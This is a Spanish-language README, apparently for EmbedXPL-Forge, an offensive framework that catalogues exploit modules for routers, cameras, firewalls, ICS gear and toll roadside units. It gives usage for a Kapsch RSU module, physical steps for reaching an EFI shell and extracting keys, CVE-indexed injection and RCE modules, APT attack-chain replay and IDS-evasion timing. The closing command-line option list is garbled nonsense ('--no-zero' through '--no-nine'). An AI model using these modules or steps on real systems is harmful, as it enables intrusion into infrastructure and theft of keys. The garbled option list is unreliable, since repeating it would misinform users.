Módulos dirigidos a la infraestructura de aplicación de tráfico (RSU de peaje, sistemas de radar, cámaras ANPR).

Kapsch TrafficCom RSU EFI Shell (CVE-2025-25734)

Módulo: exploits/specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734

Vulnerabilidad: Las Unidades de Carretera (RSU) de Kapsch utilizadas en el peaje electrónico carecen de la aplicación de UEFI Secure Boot y de protección por contraseña de BIOS, lo que permite a atacantes físicos acceder a un shell interactivo EFI y acceder al sistema de archivos completo.

Impacto: Extracción de configuración, robo de clave privada TLS, instalación de implantes, elusión de la aplicación de peajes.

Ejemplo de uso:```bash

Network reachability check (management interface detection)

embedxpl use specialized/traffic_enforcement/kapsch_rsu_efi_shell_cve_2025_25734 embedxpl (KapschRSU) > set rhost 10.0.0.50 embedxpl (KapschRSU) > check

Expected output (management interface exposed):

[+] Kapsch RSU management interface detected on 10.0.0.50:80 [!] Banner indicator: 'TrafficCom RSU' found [*] NOTE: Full exploitation requires physical on-site access

Assessment report

embedxpl (KapschRSU) > run

Outputs: attack steps, mitigations checklist, risk level

root@kitploit:~
**Pasos de explotación física:**
1. Abrir la carcasa de la RSU (tornillos con evidencia de manipulación)
2. Conectar un teclado USB y un monitor a la placa base de la RSU
3. Reiniciar el ciclo de energía - pulsar ESC/DEL/F2 durante el POST
4. Navegar: Boot Manager -> EFI Internal Shell
5. Acceder al sistema de archivos: `fs0:\efi\config\` para la extracción de la configuración

**Requisitos:** Acceso físico al hardware de la RSU (monitor + teclado USB), o acceso de red a la interfaz de gestión para la detección de banners.
**Legal:** El acceso no autorizado a la infraestructura de control de peajes es un delito penal. Utilícelo únicamente en unidades de su propiedad o para las que tenga autorización escrita explícita para evaluar.

---

## Arquitectura del Framework (v3.1.0)

### Arquitectura de Componentes

Vista completa por capas del framework: capa CLI, Core Engine (orquestador, clientes de protocolo, motores de shell), Intelligence Layer (ML, OUI, CVE DB), Quality Gates y el arsenal de más de 2800 módulos organizado por categoría.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/63129f66ef4361f16ede4ec2b9379e2efba3843685ddb18c40d8302c0c27d00a/38190b67586381886a6b4fadd441bed66ae0b3a5fe573e650bcb67a032096d54-display-v1.webp" width="960" alt="EmbedXPL-Forge Component Architecture v3.1.0"/>
</p>

### Flujo de Auditoría y Explotación

Flujo de datos de extremo a extremo desde la entrada del objetivo pasando por el descubrimiento, la huella digital, la selección de módulos, la explotación y la generación de informes.

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/266a4c0b8889e9cd6cdbad9450d3b173190d0bb1f615807ff2d040544cbba45b/774107c9888c0d2a25fbb913c73c6ed3c4a4a43da2782c6bb400a2b1b2421fb6-display-v1.webp" width="960" alt="EmbedXPL-Forge Exploitation Flow v3.1.0"/>
</p>


## Arquitectura y Mapas de Superficie de Ataque

Mapas de superficie de ataque que muestran la cobertura de módulos por vector de acceso, al estilo de los diagramas de seguridad operativa.
Archivos fuente en [`docs/diagrams/architecture/`](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/diagrams/architecture).

### Descripción General de la Arquitectura de Módulos

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/77e312b38d78c27f7d1de0276c6f304f343f323b2d0f951c2f9a2a5362c3e54c/add82fa1cc0dc85f3f6b414270fdc3e457d72b05d31ec9013ae5a08f8427cf52-display-v1.webp" width="900" alt="EmbedXPL-Forge Architecture Overview"/>
</p>

### Cadenas de Ataque de Grupos APT

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/e1ab0771072292d7cfd319a886323c1ee5630374de9b7aa88652badb233f10db/540b3fc97ec030a32c27f896ee3e03fa11e349dd9ba8fdc10905618932d9e9ce-display-v1.webp" width="900" alt="APT Group Attack Chains"/>
</p>

### Superficie de Ataque de Routers SOHO

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/5254908f6c1a366a0fb268b89fe1c3260a2d67d2fad0e3380b9d846af5e245ca/e15dbde66c8adc6a223f2ef570c2b202a8cd58b5f69f924399be4a32debf3511-display-v1.webp" width="900" alt="SOHO Router Attack Surface"/>
</p>

### Superficie de Ataque de TP-Link (Campaña APT28/GRU)

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/93f5be2a074ef3b827832e532658e6ea0ada911f9ed0433a4986355ca34e11bf/436ac5ee2ad503629993f8cb04ca563f0d36b2409664abc74705aee9b5d8dbaa-display-v1.webp" width="900" alt="TP-Link APT28 Attack Surface"/>
</p>

### Superficie de Ataque de MikroTik RouterOS

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/b36a43e11581966fcf539289c66b6694ab23910a52a9c0ed031f18402d366bc4/910bb2d9cd7b55834ebfb6dfd6b02121f3242bf8140435afb2ab28fc196b1faf-display-v1.webp" width="900" alt="MikroTik Attack Surface"/>
</p>

### Superficie de Ataque de GPON ONT (Huawei EG8145)

<p align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/56270/31f8afeec116e1cfea33753c26b01905351cc1c2a03bc46175f155dbe5e06dfe/34dc8af47fd53c639ed089f6797407be884617726c885c5faad96e7a22b6a078-display-v1.webp" width="900" alt="GPON ONT Attack Surface"/>
</p>

## Requisitos

- Python 3.8+
- Opcional: `nmap` (binario) para descubrimiento de red mejorado y scripts NSE
- Opcional: `masscan` para descubrimiento RTSP de alta velocidad
- Opcional: `gcc`/`clang` para la compilación en tiempo de ejecución de PolyExploit C/C++
- Opcional: `msfconsole` para la integración con Metasploit a través de PolyRunner

**Dependencias de Python (instaladas automáticamente):**
`requests`, `paramiko`, `pysnmp`, `pycryptodome`, `scapy`, `colorama`, `rich`, `python-nmap`, `aiohttp`

**Extras de NSE (`pip install "embedxpl[nse]"`):**
`python-nmap` (ya incluido en el núcleo)

Lista completa: [`requirements.txt`](https://github.com/mrhenrike/embedxpl-forge/blob/master/requirements.txt)

## Aviso Legal

EmbedXPL-Forge está destinado únicamente a pruebas de seguridad e investigación autorizadas. Utilice esta herramienta exclusivamente en sistemas de su propiedad o para los que tenga permiso escrito explícito para realizar pruebas. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no asumen ninguna responsabilidad por el uso indebido.

## Licencia

Licencia BSD — consulte [LICENSE](https://github.com/mrhenrike/embedxpl-forge/blob/master/LICENSE) para más detalles.
---

## Contacto

**Soporte / consultas generales:** [email protected]
**Problemas de seguridad:** [SECURITY.md](https://github.com/mrhenrike/embedxpl-forge/blob/master/SECURITY.md)

---

### André Henrique

| | |
|---|---|
| GitHub | [@mrhenrike](https://github.com/mrhenrike) |
| X / Twitter | [@mrhenrike](https://x.com/mrhenrike) |
| LinkedIn | [mrhenrike](https://www.linkedin.com/in/mrhenrike/) |

### União Geek

| | |
|---|---|
| Sitio web | [uniaogeek.com.br](https://uniaogeek.com.br/) |
| Blog | [uniaogeek.com.br/blog](https://uniaogeek.com.br/blog/) |
| GitHub | [Uniao-Geek](https://github.com/Uniao-Geek) |
| Instagram | [@uniaogeek](https://www.instagram.com/uniaogeek/) |

---

**Licencia:** BSD-3-Clause License - Copyright (c) 2026 União Geek
**Creado por:** André Henrique ([@mrhenrike](https://github.com/mrhenrike)) | [União Geek](https://uniaogeek.com.br/)

[Leia em Português](https://github.com/mrhenrike/embedxpl-forge/blob/master/README.pt-BR.md) - [Command coverage](https://github.com/mrhenrike/embedxpl-forge/blob/master/docs/commands.md) - [Wiki](../../wiki)
Descargar herramienta
  • Motor de Ataque de Grupos APT — explora y reproduce cadenas de ataque de APT28, Volt Typhoon, Sandworm, Quad7, Turla, APT40 con mapeo MITRE ATT&CK
  • Más de 23 wordlists específicas de fabricante — credenciales por defecto externalizadas por fabricante (incl. específicas de ISP de Brasil)
  • Descubrimiento de red — SSDP, ARP, Nmap, Masscan, fallback con Scapy, búsqueda OUI (más de 39k entradas IEEE), perfiles de temporización T0–T5
  • Gestión de sesiones — historial de escaneo persistente por host (IP+MAC), reanudar/reiniciar, índice completo de hallazgos
  • Módulos autopwn encadenados — cadenas de explotación multifase específicas de fabricante (Huawei EG8145X6, CUPS Pwn2Own, Lexmark Pwn2Own, etc.)
  • 7 puertas de calidad automatizadas — tools/phase_gate.py garantiza que cada módulo pase las comprobaciones de importación, anti-FP, referencias y calidad de código antes del merge
  • TipoCoberturaDescripción
    Routers / GPON ONT / CPEMás de 580 módulosRouters SOHO, gateways empresariales, GPON CPE/ONT (enfoque principal)
    Cámaras IP / NVR / DVRMás de 60 módulosHikvision, Dahua, Axis, Reolink, Amcrest, Uniview, Tapo, Swann, ANNKE, Edimax, Intelbras, Grandstream, Foscam, Xiongmai OEM, MVPower, y más de 20 adicionales
    Impresoras / MFPMás de 185 módulosHP, Canon, Lexmark, Xerox, Ricoh, Brother, Epson, Kyocera, Samsung; cadenas IPP/PJL/LPD/WSD/CUPS
    NAS (Almacenamiento en red)Más de 20 módulosQNAP, Synology, D-Link NAS, Zyxel NAS
    VPN / Appliances de Firewall / NGFW202 módulosPalo Alto, Fortinet, Cisco ASA/FTD/FMC, Check Point, Juniper, SonicWall, Sophos, WatchGuard, Zyxel, F5 BIG-IP, Citrix/NetScaler, Ivanti, Pulse Secure, pfSense, OPNsense, Barracuda, Imperva, MikroTik, Huawei USG, Stormshield, Hillstone, Sangfor, H3C, Radware, Symantec ProxySG, Trend Micro TippingPoint, Trellix, Arista EOS, OpenVPN AS, Phoenix Contact mGuard, Siemens SCALANCE, Moxa EDR, VyOS, IPFire, Kerio, Cisco Meraki, Array Networks + módulos de bypass de protocolos OT/ICS
    Switches L2/L33 módulosSwitches gestionados (Cisco, D-Link, NETGEAR)
    SOHO Edge9 módulosRouters de viaje, NAS, APs inalámbricos
    ICS / OT / IndustrialMás de 35 módulosPLCs, SCADA, Modbus, S7comm, EtherNet/IP, Universal Robots PolyScope 5
    Smart Home / MarítimoMás de 10 móduloseNet SMART HOME, OpenRemote IoT, Metis maritime WIC/DFS
    SO embebidoMás de 25 módulosRIOT OS, OpenWrt, VxWorks, QNX, dispositivos wolfSSL, Tuya Arduino SDK
    ComandoDescripción
    use <module>Seleccionar un módulo
    show optionsMostrar opciones configurables
    show infoMostrar metadatos y referencias del módulo
    show devicesListar tipos de dispositivos compatibles
    set <option> <value>Configurar una opción
    checkVerificar si el objetivo es vulnerable
    runEjecutar el módulo
    search <term>Buscar módulos por palabra clave
    discover [subnet] [--timing T0-T5] [--fresh]Escanear subred, identificar objetivos, sugerir módulos
    sessions list|show|delete|export|purgeGestionar el historial de escaneos persistente por host
    aptListar grupos APT con cadenas de ataque reproducibles
    apt show <group>Ver detalles de la cadena de ataque (MITRE ATT&CK, CVEs, módulos)
    apt search <device|CVE>Buscar grupos APT que atacan un dispositivo o CVE
    apt run <group> [#]Ejecutar la cadena de ataque APT (todos o un ataque específico)
    PerfilRetardoCaso de uso
    T0paranoico — 300sEvasión de IDS
    T1sigiloso — 15sAuditorías discretas
    T2educado — 2sImpacto mínimo
    T3normal — 0.5sPredeterminado
    T4agresivo — 0.1sEscaneos rápidos de LAN
    T5demencial — 0sSolo CTF / laboratorio
    ModoPuertoClase / Método
    rtsp554RTSPClient(host, port)
    rtsps443/8443RTSPClient(host, port, use_tls=True)
    http80/8080RTSPClient(host, port, tunnel_http=True)
    https443/8443RTSPClient(host, port, use_tls=True, tunnel_http=True)
    autoanyRTSPClient.from_scheme(host, port, "http")
    DispositivoCVERuta del MóduloTipo de Ataque
    TP-Link TL-SC3171 / SC4171 / SC4171GCVE-2013-2573exploits/cameras/tplink/tl_sc_series_cmd_inject_cve_2013_2573Inyección de Comandos (sin autenticación)
    TP-Link TL-SC3171 / SC3130CVE-2013-2581exploits/cameras/tplink/tl_sc_series_unauth_firmware_upload_cve_2013_2581Carga de Firmware sin Autenticación
    D-Link DCS-932LCVE-2026-36983exploits/cameras/dlink/dcs_932l_light_sensor_rce_cve_2026_36983RCE mediante Sensor de Luz
    D-Link DCS-932LCVE-2025-5573exploits/cameras/dlink/dcs_932l_admin_cmd_inject_cve_2025_5573Inyección de Comandos en Panel de Administración
    D-Link DCS-933LCVE-2026-2218exploits/cameras/dlink/dcs_933l_admin_cmd_inject_cve_2026_2218Inyección de Comandos en Panel de Administración
    ZTE ZXHN H267N / H268NCVE-2026-34473exploits/routers/zte/zxhn_h267n_h268n_dos_cve_2026_34473Denegación de Servicio
    ZTE ZXHN H298A / H108NCVE-2026-34474exploits/routers/zte/zxhn_h298a_cred_dump_cve_2026_34474Volcado de Credenciales (ETHCheat)
    Routers Intelbras IWR-exploits/routers/intelbras/iwr_luci_rpc_rceRCE sin Autenticación en LuCI RPC
    Escáner BR ISP multi-fabricante-scanners/specialized/br_isp_scannerDescubrimiento activo + verificación de vulnerabilidades
    -h, --helpMuestra este mensaje de ayuda y sale
    -v, --versionMuestra la versión del programa y sale
    -l, --listLista todos los módulos disponibles
    -m, --moduleEspecifica el módulo a ejecutar
    -o, --outputEspecifica el archivo de salida
    -s, --stdoutEnvía la salida a stdout
    -f, --formatEspecifica el formato de salida (json, csv, txt)
    -t, --threadsEspecifica el número de hilos
    -T, --timeoutEspecifica el tiempo de espera en segundos
    -p, --proxyEspecifica el proxy a usar
    -r, --retriesEspecifica el número de reintentos
    -u, --user-agentEspecifica el user agent a usar
    -c, --configEspecifica el archivo de configuración a usar
    -d, --debugHabilita la salida de depuración
    -q, --quietSuprime toda la salida excepto los errores
    -V, --verboseHabilita la salida detallada
    -n, --no-colorDeshabilita la salida en color
    -C, --no-cacheDeshabilita el almacenamiento en caché
    -P, --no-progressDeshabilita la barra de progreso
    -S, --no-summaryDeshabilita el resumen
    -A, --no-ansiDeshabilita la salida ANSI
    -N, --no-bannerDeshabilita el banner
    -B, --no-bruteforceDeshabilita el modo de fuerza bruta
    -R, --no-recursionDeshabilita la recursión
    -D, --no-dnsDeshabilita la resolución DNS
    -I, --no-icmpDeshabilita el ping ICMP
    -M, --no-multicastDeshabilita el descubrimiento multicast
    -U, --no-udpDeshabilita el escaneo UDP
    -W, --no-webDeshabilita el escaneo web
    -X, --no-xmlDeshabilita la salida XML
    -Y, --no-yamlDeshabilita la salida YAML
    -Z, --no-zipDeshabilita la compresión zip
    -0, --no-zeroDeshabilita la salida cero
    -1, --no-oneDeshabilita la salida uno
    -2, --no-twoDeshabilita la salida dos
    -3, --no-threeDeshabilita la salida tres
    -4, --no-fourDeshabilita la salida cuatro
    -5, --no-fiveDeshabilita la salida cinco
    -6, --no-sixDeshabilita la salida seis
    -7, --no-sevenDeshabilita la salida siete
    -8, --no-eightDeshabilita la salida ocho
    -9, --no-nineDeshabilita la salida nueve